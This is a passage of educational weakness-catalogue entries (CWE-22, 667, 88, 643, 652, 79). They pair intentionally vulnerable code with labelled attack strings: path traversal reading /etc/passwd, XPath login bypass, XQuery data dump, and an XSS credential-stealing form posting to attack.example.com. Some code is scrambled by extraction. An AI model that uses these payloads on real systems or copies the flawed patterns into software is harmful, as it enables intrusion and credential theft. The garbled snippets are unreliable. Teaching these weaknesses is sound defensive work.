$state = GetStateData($username); if (defined($state)) { $uid = ExtractUserID($state); }# do stuff if ($uid == 0) { DoAdminThings(); }If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident. Example 3 The following code intends to concatenate a string to a variable and print the string. (bad code)
Example Language: C
char str[20];
strcat(str, "hello world"); printf("%s", str); This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory. If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found. If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterMany file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory. (bad code)
Example Language: Perl
my $dataPath = "/users/cwe/profiles";
my $username = param("user"); my $profilePath = $dataPath . "/" . $username; open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath"); print "<ul>\n"; while (<$fh>) { print "<li>$_</li>\n"; }print "</ul>\n"; While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as: (attack code)
../../../etc/passwd
The program would generate a profile pathname like this: (result)
/users/cwe/profiles/../../../etc/passwd
When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file: (result)
/etc/passwd
As a result, the attacker could read the entire text of the password file. Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined. Example 2 In the example below, the path to a dictionary file is read from a system property and used to initialize a File object. (bad code)
Example Language: Java
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename); However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory. Example 3 The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path. (bad code)
Example Language: Perl
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///; my $filename = "/home/user/" . $Username; ReadAndSendFile($filename); Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as: (attack code)
../../../etc/passwd
will have the first "../" stripped, resulting in: (result)
../../etc/passwd
This value is then concatenated with the /home/user/ directory: (result)
/home/user/../../etc/passwd
which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23). Example 4 The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/". (bad code)
Example Language: Java
String path = getInputPath();
if (path.startsWith("/safe_dir/")) { File f = new File(path); }f.delete() An attacker could provide an input such as this: (attack code)
/safe_dir/../important.dat
The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory Example 5 The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet. (good code)
Example Language: HTML
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload: <input type="file" name="filename"/> <br/> <input type="submit" name="submit" value="Submit"/> </form> When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory. (bad code)
Example Language: Java
public class FileUploadServlet extends HttpServlet {
...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html");
PrintWriter out = response.getWriter(); String contentType = request.getContentType(); // the starting position of the boundary header int ind = contentType.indexOf("boundary="); String boundary = contentType.substring(ind+9); String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value // verify that content type is multipart form data if (contentType != null && contentType.indexOf("multipart/form-data") != -1) { // extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); ... pLine = br.readLine(); String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\"")); ... // output the file to the local upload directory try { BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) { if (line.indexOf(boundary) == -1) { } //end of for loopbw.write(line); }bw.newLine(); bw.flush(); bw.close(); } catch (IOException ex) {...} // output successful upload response HTML page // output unsuccessful upload response HTML page else {...} ...
This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code. Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash. Example 6 This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user. (bad code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.join(os.getcwd(), filename) try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file. (good code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}") if path.startswith("/home/cwe/documents/"):
try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. The path is checked against an expected directory (/home/cwe/documents); otherwise, an attacker could provide relative path sequences like ".." to cause normpath() to generate paths that are outside the intended directory (CWE-23). By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/cwe/documents, and the user inputs /etc/passwd, the resulting path will be /home/cwe/documents/etc/passwd. The user is therefore contained within the current working directory as intended. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories. Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent. Research Gap Research Gap Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable. Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants. Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
CWE-667: Improper Locking
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.
Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
Example 1 In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized. (bad code)
Example Language: Java
private long someLongValue;
public long getLongValue() { return someLongValue; }public void setLongValue(long l) { someLongValue = l; }Example 2 This code tries to obtain a lock for a file, then writes to it. (bad code)
Example Language: PHP
function writeToLog($message){
$logfile = fopen("logFile.log", "a"); }//attempt to get logfile lock if (flock($logfile, LOCK_EX)) { fwrite($logfile,$message); }// unlock logfile flock($logfile, LOCK_UN); else { print "Could not obtain lock on logFile.log, message not recorded\n"; }fclose($logFile); PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock(). Example 3 The following function attempts to acquire a lock in order to perform operations on a shared resource. (bad code)
Example Language: C
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);
/* access shared resource */ pthread_mutex_unlock(mutex); However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior. In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels. (good code)
Example Language: C
int f(pthread_mutex_t *mutex) {
int result;
result = pthread_mutex_lock(mutex); if (0 != result) return result;
/* access shared resource */ return pthread_mutex_unlock(mutex); Example 4 It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization... (bad code)
Example Language: Java
if (helper == null) {
synchronized (this) {
if (helper == null) { }helper = new Helper(); }return helper; The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called. Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute: (bad code)
Example Language: Java
helper = new Helper();
If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.
CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product constructs a string for a command to be executed by a separate component
in another control sphere, but it does not properly delimit the
intended arguments, options, or switches within that command string.
When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "Architectural Concepts" (View-1008)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed. (bad code)
Example Language: Perl
my $arg = GetArgument("filename");
do_listing($arg); sub do_listing {
my($fname) = @_;
}
if (! validate_name($fname)) {
print "Error: name is not well-formed!\n";
}return; # build command my $cmd = "/bin/ls -l $fname"; system($cmd); sub validate_name {
my($name) = @_;
}
if ($name =~ /^[\w\-]+$/) {
return(1);
}else {
return(0);
}However, validate_name() allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories. There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions. Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option. Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as: (good code)
Example Language: Perl
if ($name =~ /^\w[\w\-]+$/) ...
Example 2 CVE-2016-10033 / [REF-1249] provides a useful real-world example of this weakness within PHPMailer. The program calls PHP's mail() function to compose and send mail. The fifth argument to mail() is a set of parameters. The program intends to provide a "-fSENDER" parameter, where SENDER is expected to be a well-formed email address. The program has already validated the e-mail address before invoking mail(), but there is a lot of flexibility in what constitutes a well-formed email address, including whitespace. With some additional allowed characters to perform some escaping, the adversary can specify an additional "-o" argument (listing an output file) and a "-X" argument (giving a program to execute). Additional details for this kind of exploit are in [REF-1250]. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Architectural Concepts" (View-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information: (informative)
Example Language: XML
<users>
<user> </users><login>john</login> </user><password>abracadabra</password> <home_dir>/home/john</home_dir> <user> <login>cbc</login> </user><password>1mgr8</password> <home_dir>/home/cbc</home_dir> The Java code used to retrieve the home directory based on the provided credentials is: (bad code)
Example Language: Java
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" + login.getPassword() + "']/home_dir/text()"); Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml")); String homedir = xlogin.evaluate(d); Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes (attack code)
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
This lets user "john" login without a valid password, thus bypassing authentication.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.
CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Architectural Concepts" (View-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL. This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThere are many variants of cross-site scripting, characterized by a variety of terms or involving different attack topologies. However, they all indicate the same fundamental weakness: improper neutralization of dangerous input between the adversary and a victim.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "Architectural Concepts" (View-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario). (bad code)
Example Language: PHP
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>'; Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as (attack code)
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker: (attack code)
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser: (result)
<div class="header"> Welcome, <div id="stealPassword"> Please Login:
<form name="input" action="attack.example.com/stealPassword.php" method="post"> Username: <input type="text" name="username" /><br/> </form>Password: <input type="password" name="password" /><br/> <input type="submit" value="Login" /> </div></div> The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability): (attack code)
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input %22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php %22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text %22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A +%3Cinput+type%3D%22password%22+name%3D%22password%22 +%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22 +%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A The same attack string could also be obfuscated as: (attack code)
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
